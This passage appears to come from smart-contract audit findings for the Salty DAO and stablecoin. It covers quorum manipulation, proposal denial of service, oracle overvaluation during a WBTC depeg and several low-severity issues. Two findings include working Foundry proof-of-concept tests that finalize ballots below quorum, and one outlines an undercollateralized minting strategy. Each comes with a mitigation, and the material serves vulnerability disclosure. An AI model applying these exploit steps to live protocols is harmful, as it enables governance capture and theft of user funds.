The provided Solidity code demonstrates how the system can be exploited:

function testSpoofQuorum() public
{
	// ----------------------------- SETUP -----------------------------
	// Give alice 10M so the 0,5% bracket can be ignored
	vm.prank(address(daoVestingWallet));
	salt.transfer(alice, 9000000 ether);

	vm.startPrank(alice);
	//Transfer 75% to bob
	salt.transfer(bob, 7500000 ether);
	//Stake the left 25% of salt
	staking.stakeSALT(2500000 ether);
	vm.stopPrank();

	vm.startPrank(bob);
	//Stake 75% of salt
	salt.approve(address(staking), type(uint256).max);
	staking.stakeSALT(7500000 ether);
	vm.stopPrank();

	// ----------------------------- TEST -----------------------------

	//Alice proposes the country exclusion
	vm.startPrank(alice);
	proposals.proposeCountryExclusion( "US", "description" );

	//Alice votes with her 25% of staked
	proposals.castVote(1, Vote.YES);

	// Spin the time forward
	vm.warp(block.timestamp + 11 days);

	// Try finalizing which will not work as 30% quorom for this kind of ballot was not passed
	vm.expectRevert();
	dao.finalizeBallot(1);

	// Alice unstakes to lower the quorum
	uint256 id = staking.unstake(2500000 ether, 5);

	//Now finalizing the ballot works
	dao.finalizeBallot(1);
	assertTrue(dao.countryIsExcluded( "US" ), "USA should be excluded" );

	//Alice reclaims her vote by canceling the unstake
	staking.cancelUnstake(id);

	// Assert that alice still has her stake
	assert(staking.userXSalt((alice)) == 2500000 ether);
}

The test must be added to /dao/tests/Dao.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testSpoofQuorum".

Tools Used

Manual Review

Recommended Mitigation Steps

To address this issue, it is recommended to modify the Ballot struct to include an additional field that tracks the total staked salt at the time of ballot creation. Consequently, when quorums are checked, this stored value should be used instead of the current total staked salt. This change ensures that the quorum calculation remains consistent with the state of stakes at the time of ballot initiation, preventing the possibility of manipulation through unstaking.

The revised Ballot struct would be:

struct Ballot
{
	uint256 ballotID;
	bool ballotIsLive;

	BallotType ballotType;
	string ballotName;
	address address1;
	uint256 number1;
	string string1;
	string description;
	uint256 totalStaked; (newly added)

	// The earliest timestamp at which a ballot can end. Can be open longer if the quorum has not yet been reached for instance.
	uint256 ballotMinimumEndTime;
}

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L335 https://github.com/code-423n4/2024-01-salty/blob/main/src/staking/Staking.sol#L114-L120

Vulnerability details

Bug Description

In the Salty DAO's voting system, the requiredQuorumForBallotType() function is pivotal in ensuring a ballot receives votes from a sufficient percentage of stakers. This function calculates a required quorum based on the total stakes and compares it to a minimumQuorum, set as 0.5% of the total SALT token supply. If the calculated quorum is below this minimum, the minimumQuorum is used instead.

function requiredQuorumForBallotType( BallotType ballotType ) public view returns (uint256 requiredQuorum)
	{
	// The quorum will be specified as a percentage of the total amount of SALT staked
	uint256 totalStaked = staking.totalShares( PoolUtils.STAKED_SALT );
	require( totalStaked != 0, "SALT staked cannot be zero to determine quorum" );

	if ( ballotType == BallotType.PARAMETER )
		requiredQuorum = ( 1 * totalStaked * daoConfig.baseBallotQuorumPercentTimes1000()) / ( 100 * 1000 );
	else if ( ( ballotType == BallotType.WHITELIST_TOKEN ) || ( ballotType == BallotType.UNWHITELIST_TOKEN ) )
		requiredQuorum = ( 2 * totalStaked * daoConfig.baseBallotQuorumPercentTimes1000()) / ( 100 * 1000 );
	else
		// All other ballot types require 3x multiple of the baseQuorum
		requiredQuorum = ( 3 * totalStaked * daoConfig.baseBallotQuorumPercentTimes1000()) / ( 100 * 1000 );

	// Make sure that the requiredQuorum is at least 0.50% of the total SALT supply.
	// Circulating supply after the first 45 days of emissions will be about 3 million - so this would require about 16% of the circulating
	// SALT to be staked and voting to pass a proposal (including whitelisting) 45 days after deployment..
	uint256 totalSupply = ERC20(address(exchangeConfig.salt())).totalSupply();
	uint256 minimumQuorum = totalSupply * 5 / 1000;

	if ( requiredQuorum < minimumQuorum )
		requiredQuorum = minimumQuorum;
	}

However, a vulnerability exists due to the fluctuating totalSupply of SALT, which changes when tokens are burned. A user close to the 0.5% ownership threshold can vote, then unstake and burn their SALT, effectively lowering the minimum quorum threshold. This allows the user to finalize a proposal even though they voted with less than 0.5% of the total supply.

Impact

This issue enables a malicious staker to finalize a ballot below the intended minimum quorum, potentially manipulating the outcome of key protocol decisions.

Proof of Concept

A test scenario demonstrates how this issue can be exploited:

function testQuorumReducedByBurning() public {
	//------------------------ SETUP ------------------------

	// Set minUnstakeWeeks to 1 which is in the allowed range
	vm.store(address(stakingConfig), bytes32(uint256(1)), bytes32(uint256(1)));

	// Set minUnstakePercent to 10% which is in the allowed range
	vm.store(address(stakingConfig), bytes32(uint256(3)), bytes32(uint256(10)));

	// Set up the parameters for the proposal
	uint256 proposalNum = 0; // Assuming an enumeration starting at 0 for parameter proposals
	address proposer = alice;

	//------------------------ ISSUE ------------------------

	// Alice stakes her SALT to get voting power
	vm.prank(address(daoVestingWallet));
	salt.transfer(proposer, 1000000 ether);

	vm.startPrank(proposer);
	staking.stakeSALT(499999 ether); // CLosely below the minimum quorum

	// Propose a parameter ballot
	proposals.proposeParameterBallot(proposalNum, "Increase max pools count");
	vm.stopPrank();

	uint256 ballotID = 1;

	// Cast a vote, but not enough for quorum
	vm.startPrank(proposer);
	proposals.castVote(ballotID, Vote.NO_CHANGE);
	vm.stopPrank();

	// Increase block time so the ballot would finilaizable if the quorum is passed
	vm.warp(block.timestamp + daoConfig.ballotMinimumDuration());

	// Expect revert because minimum quorum is still not reached
	vm.expectRevert("The ballot is not yet able to be finalized");
	dao.finalizeBallot(ballotID);

	//Nor burn the SALT by unstaking
	vm.startPrank(proposer);
	uint256 unstakeId = staking.unstake(499999 ether - 1, 1);

	// Make a week pass (the unstaking could have also been taking place directly when unstaking)
	vm.warp(block.timestamp + 1 weeks);

	// Finish the unstake (burning 90% of the SALT for the ) falling below the quorum
	staking.recoverSALT(unstakeId);

	// Now it should be possible to finalize the ballot without reverting
	dao.finalizeBallot(ballotID);

	// Check that the ballot is finalized
	bool isBallotFinalized = proposals.ballotForID(ballotID).ballotIsLive;
	assertEq(isBallotFinalized, false, "Ballot should be finalized");
}

The test must be added to /dao/tests/Dao.t.sol and can be run by calling COVERAGE="yes" NETWORK="sep" forge test -vvvv --rpc-url https://rpc.sepolia.org --match-test "testQuorumReducedByBurning".

Tools Used

Manual Review

Recommended Mitigation Steps

To mitigate this issue, the Ballot struct should include the totalSupply of SALT at the time of ballot creation. This value should then be used to calculate the minimum quorum when finalizing the ballot:

struct Ballot
	{
	uint256 ballotID;
	bool ballotIsLive;

	BallotType ballotType;
	string ballotName;
	address address1;
	uint256 number1;
	string string1;
	string description;
	uint256 totalSupply; <---- Added

	// The earliest timestamp at which a ballot can end. Can be open longer if the quorum has not yet been reached for instance.
	uint256 ballotMinimumEndTime;
	}

Incorporating the totalSupply into the Ballot struct ensures that the minimum quorum reflects the SALT supply at the time of voting, preserving the integrity of the voting process and preventing manipulation through token burning.

Assessed type

Governance

	if ( requiredQuorum < minimumQuorum )
		requiredQuorum = minimumQuorum;
	}

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/dao/Proposals.sol#L196-L209

Vulnerability details

Bug Description

In the Salty DAO, the proposeSendSALT() function restricts the number of simultaneous SendSalt proposals to one, by designating the ballot's name as "sendSALT". However, this restriction, combined with the DAO's threshold settings for proposing a ballot, can be exploited. Specifically, in scenarios where only 0.10% of all staked salt is required to propose a ballot, a malicious user can monopolize the sendSalt functionality.

The exploitation arises because each proposal is not finalizable until the ballotMinimumDuration has elapsed, which can range from 3 to 14 days. A user with just 0.1% of the staked salt can repeatedly submit frivolous sendSalt proposals. Each time a proposal is close to finalization, the malicious user can finalize it and immediately submit another, effectively blocking legitimate use of the sendSalt functionality.

Impact

This vulnerability allows a single user with a minimal stake to consistently disrupt the sendSalt function of the DAO, effectively denying other users the ability to utilize this feature.

Proof of Concept

Assuming the DAO configuration where:

• requiredProposalPercentStakeTimes1000 = 100 (0.1%),
• ballotMinimumDuration = 14 days,`

In this case a malicious actor that owns a wallet, which holds 0.1% of the total staked salt can call proposeSendSALT() and propose a malicious transfer. This will lead to a state in which other stakers will not be able to propose any new sendSalt proposals. This state will continue until the ballotMinimumDuration has passed and the malicious proposals can be finalized. As the malicious actor keeps his stake he can propose a new bad proposal as soon as his old one gets finalized, extending the period of DOS over the ballotMinimumDuration indefinitely.

Tools Used

Manual Review

Recommended Mitigation Steps

Several approaches can mitigate this issue:

1. Remove the Single Proposal Restriction: Allowing more than one sendSalt proposal at a time would prevent a single user from monopolizing this function.
2. Penalize Malicious Proposals: Implement a mechanism where the DAO can penalize malicious actors by seizing a portion of their staked salt if they abuse the proposal system.
3. Implement a Proposal Cooldown: Introduce a cooldown period after a user's proposal is finalized, during which they cannot submit new proposals. This cooldown would limit the ability of a user to continuously submit proposals and monopolize the functionality.

Each of these solutions offers a way to prevent the abuse of the sendSalt proposal system while maintaining the integrity and functionality of the DAO's governance process.

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/PriceAggregator.sol#L108-L146

Vulnerability details

Bug Description

In the Salty protocol, collateral valuation for the USDS stablecoin is determined using three price feeds: Chainlink (BTC->USD), Uniswap (WBTC->USDC), and Salty's internal feed (WBTC->USDS). The potential issue arises in the event of a WBTC depeg from BTC. Chainlink's oracle would continue to provide the standard Bitcoin price, not reflecting WBTC's actual market value. The Uniswap feed is more reliable in this scenario, as it would reflect the depegged price of WBTC. However, the Salty WBTC->USDS feed is critically flawed because USDS is collateralized by WBTC. In a depeg situation, as WBTC's value falls, so does USDS's, resulting in a skewed and inaccurate exchange rate in the Salty internal feed.

Salty's price aggregator, which uses the average of the two closest prices, would ignore the accurate Uniswap price, leading to an overvaluation of WBTC.

uint256 diff12 = _absoluteDifference(price1, price2);
uint256 diff13 = _absoluteDifference(price1, price3);
uint256 diff23 = _absoluteDifference(price2, price3);

uint256 priceA;
uint256 priceB;

if ( ( diff12 <= diff13 ) && ( diff12 <= diff23 ) )
	(priceA, priceB) = (price1, price2);
else if ( ( diff13 <= diff12 ) && ( diff13 <= diff23 ) )
	(priceA, priceB) = (price1, price3);
else if ( ( diff23 <= diff12 ) && ( diff23 <= diff13 ) )
	(priceA, priceB) = (price2, price3);

uint256 averagePrice = ( priceA + priceB ) / 2;

This overvaluation would enable the minting of undercollateralized USDS, exploiting the discrepancy between the actual market value and the calculated value from the flawed price feeds.

Impact

This vulnerability can cause the USDS stablecoin to become severely undercollateralized and potentially worthless, leading to a loss of peg and a significant systemic risk for the Salty protocol.

Proof of Concept

To illustrate the impact of this issue, let's consider a hypothetical scenario of WBTC depegging in the Salty protocol:

Initial State:

• Chainlink BTC->USD price feed: $40,000 (for BTC).
• Salty WBTC->USDS internal price feed: $40,000 (for WBTC).
• Uniswap WBTC->WETH->USDC price feed: $40,000 (for WBTC).

After WBTC Depegging:

• Chainlink BTC->USD price feed remains unchanged at $40,000, as it tracks BTC, not WBTC.
• Uniswap WBTC->WETH->USDC price feed quickly adjusts to the depegged value of WBTC, let's say it falls to $500.
• Salty WBTC->USDS internal price feed lags in response to the depegging due to WBTC's role in collateralizing USDS. Assume it adjusts to $36,000 after some delay.

In this scenario, the Salty protocol's price aggregator will exclude the accurate Uniswap price, and instead, average out the Chainlink and Salty internal prices, valuing WBTC at around 38,000 dollars. This is despite the fact that its real market value on Uniswap is only 500 dollars.

Consequences:

• An attacker can exploit this discrepancy by purchasing WBTC at its actual depegged market value (500 dollar) on Uniswap and then use it as collateral in Salty, where it is still valued at the inflated price (38,000 dollar).

• This allows the attacker to mint a significantly larger amount of USDS than is justified by the actual market value of their collateral, effectively creating undercollateralized USDS.

Limitations & Circumventing the Limitations:

• The exploit hinges on ensuring the price difference between Salty's internal WBTC->USDS feed and Chainlink's BTC->USD feed doesn't exceed 7%, as per the maximumPriceFeedPercentDifferenceTimes1000 limit. If USDS devalues significantly, causing this threshold to be breached, the exploit's viability is compromised.

• To circumvent this, the attacker can use the minted USDS to manipulate the WBTC->USDS rate within Salty, keeping the price difference within the 7% limit. This manipulation allows continuous exploitation of the system, as the attacker can maintain an inflated WBTC value in Salty, enabling the minting of more USDS.

Tools Used

Manual Review

Recommended Mitigation Steps

To mitigate this issue, the Salty protocol should replace its internal WBTC->USDS oracle with an external, stablecoin-based oracle that isn't pegged to WBTC, such as USDT or USDC. This external oracle could be sourced from another reliable on-chain AMM or an off-chain entity, providing an accurate and independent valuation of WBTC relative to a stable asset, thereby preventing exploitation in the event of a WBTC depeg.

Assessed type

Oracle

Low

[L-01] Reserves Above DUST Incorrectly Enforced

Pools Line 270

Issue Description:

In the Salty protocol's _adjustReservesForSwap() function, the intention, as per the accompanying comment ("// Make sure that the reserves after swap are above DUST"), is to ensure that the reserves always remain above a certain threshold defined by the DUST constant. However, the current implementation of this check uses >= (greater than or equal to), which leads to an off-by-one error. The actual requirement, as intended, is for the reserves to be strictly greater than DUST.

Current implementation:

require( (reserve0 >= PoolUtils.DUST) && (reserve1 >= PoolUtils.DUST), "Insufficient reserves after swap");

This condition allows the reserves to be exactly equal to DUST, which contradicts the intended logic of keeping them above DUST.

Recommended Mitigation Steps

To align the implementation with the intended behavior, the require statement should be adjusted to enforce that reserves are strictly greater than DUST. This change will ensure that the reserves are maintained above the minimal threshold, as originally planned.

Proposed change:

require( (reserve0 > PoolUtils.DUST) && (reserve1 > PoolUtils.DUST), "Insufficient reserves after swap");

By modifying the condition to > (greater than), the function will correctly enforce that the reserves are maintained above the DUST level, thus adhering to the protocol's intended safety and operational standards.

[L-02] Liquidity can still be below DUST after a call to addLiquidity()

Pools Line 146-147

Issue Description:

n the Salty protocol's addLiquidity() function, there's an enforcement to ensure the maximum liquidity added by a user is above the PoolUtils.DUST threshold. However, a potential issue arises because the actual liquidity added to the pool may end up being less than PoolUtils.DUST. This discrepancy occurs due to the adjustment of the added liquidity based on the current exchange rate within the _addLiquidity() call. Consequently, a pool might end up with liquidity below the DUST level, conflicting with other contract checks that assume liquidity will always exceed this minimum.

Recommended Mitigation Steps

To resolve this issue, the validation in the addLiquidity function should be based on the actual amounts of liquidity added (addedAmountA and addedAmountB), rather than the maximum amounts (maxAmountA and maxAmountB) initially specified by the user. By checking the addedAmountA and addedAmountB for adherence to the DUST threshold, the protocol can ensure that the liquidity in the pool always remains above this critical level, maintaining consistency with the protocol's rules and intentions.

[L-03] proposeCountryInclusion() does not check for ASCII

Proposals Line 222

Issue Description: In the Salty DAO's proposeCountryInclusion() function, there's an existing validation step to ensure the country codes are in the ISO 3166 Alpha-2 format, which consists of two uppercase ASCII characters. While the function includes a require statement to check the length of the country code, it doesn't verify if the provided bytes are indeed uppercase ASCII characters:

require( bytes(country).length == 2, "Country must be an ISO 3166 Alpha-2 Code" );

This lack of validation means that any two-byte input, regardless of its content, can be passed as a country code, potentially leading to invalid or misleading entries.

Recommended Mitigation Steps

To address this issue, additional validation should be implemented to confirm that each character in the country code falls within the range of uppercase ASCII letters (0x41 to 0x5A). This ensures that only valid ISO 3166 Alpha-2 country codes are accepted. The validation can be integrated into the existing function with checks for each character of the country code:

require(bytes(country)[0] >= 0x41 && bytes(country)[0] <= 0x5A && bytes(country)[1] >= 0x41 && bytes(country)[1] <= 0x5A, "Invalid country code");

By incorporating these character checks, the Salty DAO will accurately enforce the ISO 3166 Alpha-2 standard for country codes, enhancing the integrity of the country inclusion proposal process.

[L-04] proposeCountryInclude does not check if the country is currently excluded`

Proposals Line 222

Issue Description: The proposeCountryInclude function in the Salty DAO is designed to allow proposals for removing a country from the blacklist. However, the current implementation does not include a check to verify whether the specified country is already on the blacklist. This oversight means that proposals could be made and potentially approved for countries that are not currently blacklisted, leading to unnecessary and potentially confusing governance actions.

Recommended Mitigation Steps

To rectify this, an additional validation step should be incorporated into the proposeCountryInclude function to ensure that the country in question is indeed currently excluded (i.e., on the blacklist). This can be done by checking the blacklist status of the country within the DAO:

require(dao.isExcluded(country), "country is not excluded");

Adding this require statement ensures that proposals for including a country are only possible if that country is currently excluded. This check maintains the integrity and relevance of the governance process, ensuring that the DAO's efforts are focused on meaningful and necessary changes.

[L-05] proposeCountryExclusion() does not check for ASCII

Proposals Line 222

Issue Description: The proposeCountryExclusion() function in the Salty DAO is designed for proposals to add countries to the blacklist using their ISO 3166 Alpha-2 codes, which consist of two uppercase ASCII characters. While the function checks that two bytes are provided, it does not verify if these bytes represent valid uppercase ASCII characters, potentially allowing for invalid country codes.

require( bytes(country).length == 2, "Country must be an ISO 3166 Alpha-2 Code" );

Recommended Mitigation Steps

To ensure that only valid ISO 3166 Alpha-2 country codes are proposed for blacklisting, the function should include additional checks to confirm that each character is within the ASCII range for uppercase letters (0x41 to 0x5A). This validation ensures that the input conforms to the correct format for country codes:

require(bytes(country)[0] >= 0x41 && bytes(country)[0] <= 0x5A && bytes(country)[1] >= 0x41 && bytes(country)[1] <= 0x5A, "Invalid country code");

Implementing these character checks will ensure the accuracy and validity of country codes proposed for exclusion, thereby upholding the integrity of the DAO's blacklist management process.

[L-06] proposeWebsiteUpdate() does not check for a valid URL

Proposals Line 249

Issue Description:

In the Salty DAO, the proposeWebsiteUpdate() function facilitates the voting process for changes to the website. However, the function currently lacks validation for the input URL, meaning it does not verify whether the provided string is a valid URL starting with "http://" or "https://". Additionally, it does not check if the rest of the string consists of valid ASCII characters. This oversight could lead to the acceptance of invalid or improperly formatted URLs.

Recommended Mitigation Steps

To ensure that only valid URLs are proposed for website updates, the function should include checks to confirm:

1. The URL begins with "http://" or "https://".
2. All subsequent characters in the URL string fall within the valid ASCII range (0x2D to 0x7A).

The implementation could first verify the URL's prefix and then loop through the rest of the string to check each character:

string memory httpPrefix = "http://";
string memory httpsPrefix = "https://";
require(hasPrefix(url, httpPrefix) || hasPrefix(url, httpsPrefix), "URL must start with 'http://' or 'https://'");

for (uint i = 0; i < bytes(url).length; i++) {
    require(bytes(url)[i] >= 0x2D && bytes(url)[i] <= 0x7A, "Invalid character in URL");
}

// 'hasPrefix' is a helper function to check if the URL starts with the specified prefix

By adding these checks, the Salty DAO will ensure that only properly formatted and valid URLs are considered for website updates, enhancing the protocol's governance and operational integrity.

[L-07] requiredXSalt can be zero

Proposals Line 92

Issue Description:

In the _possiblyCreateProposal() function of the Salty DAO, which is called when a user proposes a proposal, there's a calculation to determine the required amount of xSalt (staked SALT) needed:

// Make sure that the sender has the minimum amount of xSALT required to make the proposal
uint256 totalStaked = staking.totalShares(PoolUtils.STAKED_SALT);
uint256 requiredXSalt = ( totalStaked * daoConfig.requiredProposalPercentStakeTimes1000() ) / ( 100 * 1000 );

require( requiredXSalt > 0, "requiredXSalt cannot be zero" );

However, an edge case exists where requiredXSalt can be zero. This situation occurs when the total staked SALT is below 50, and requiredProposalPercentStakeTimes1000 is set to 2% (2000). The resulting calculation would be 49 * 2000 / 100000, which equals zero due to roundign down, thereby preventing any proposals from being created even though SALT is staked.

Recommended Mitigation Steps

To address this issue, an additional check should be added to handle cases where requiredXSalt computes to zero while SALT is staked. In such scenarios, requiredXSalt should default to a minimum value (e.g., 1), enabling proposals as long as the user has staked at least 1 SALT. This change ensures that the ability to create proposals is not inadvertently blocked due to the specificities of the calculation in edge cases:

if (totalStaked > 0 && requiredXSalt == 0) { requiredXSalt = 1; }

Incorporating this logic will maintain the functionality of the proposal system, particularly in low liquidity conditions, ensuring that the governance process remains accessible and fair.

[L-08] First staker can claim all rewards from period before

StakingRewards Linhe 78

Issue Description:

In the Salty protocol's StakingRewards contract, there is an issue related to the distribution of rewards when no stakers are present. When rewards are distributed during a period with no stakers and a user subsequently stakes SALT, the implementation of _increaseUserShare() results in the first staker claiming all the rewards accumulated during the staker-less period:`

// Determine the amount of virtualRewards to add based on the current ratio of rewards/shares.
// The ratio of virtualRewards/increaseShareAmount is the same as totalRewards/totalShares for the pool.
// The virtual rewards will be deducted later when calculating the user's owed rewards.
if ( existingTotalShares != 0 ) // prevent / 0
	{
	// Round up in favor of the protocol.
	uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

	user.virtualRewards += uint128(virtualRewardsToAdd);
	totalRewards[poolID] += uint128(virtualRewardsToAdd);
	}

// Update the deposit balances
user.userShare += uint128(increaseShareAmount);
totalShares[poolID] = existingTotalShares + increaseShareAmount;

emit UserShareIncreased(wallet, poolID, increaseShareAmount);
}

The current logic is designed to distribute virtual rewards proportionally among stakers. However, to prevent division by zero, the function inadvertently allocates all accumulated rewards to the first staker in cases where they are the first to stake after a period with no stakers.

Recommended Mitigation Steps

To address this issue, the reward distribution mechanism should be adjusted to withhold rewards during periods with no stakers. The rewards accumulated during these periods should be retained by the rewards distributor and only begin to be distributed again once stakers are present. This change ensures that rewards are fairly allocated among stakers and not disproportionately claimed by a single user due to a timing advantage.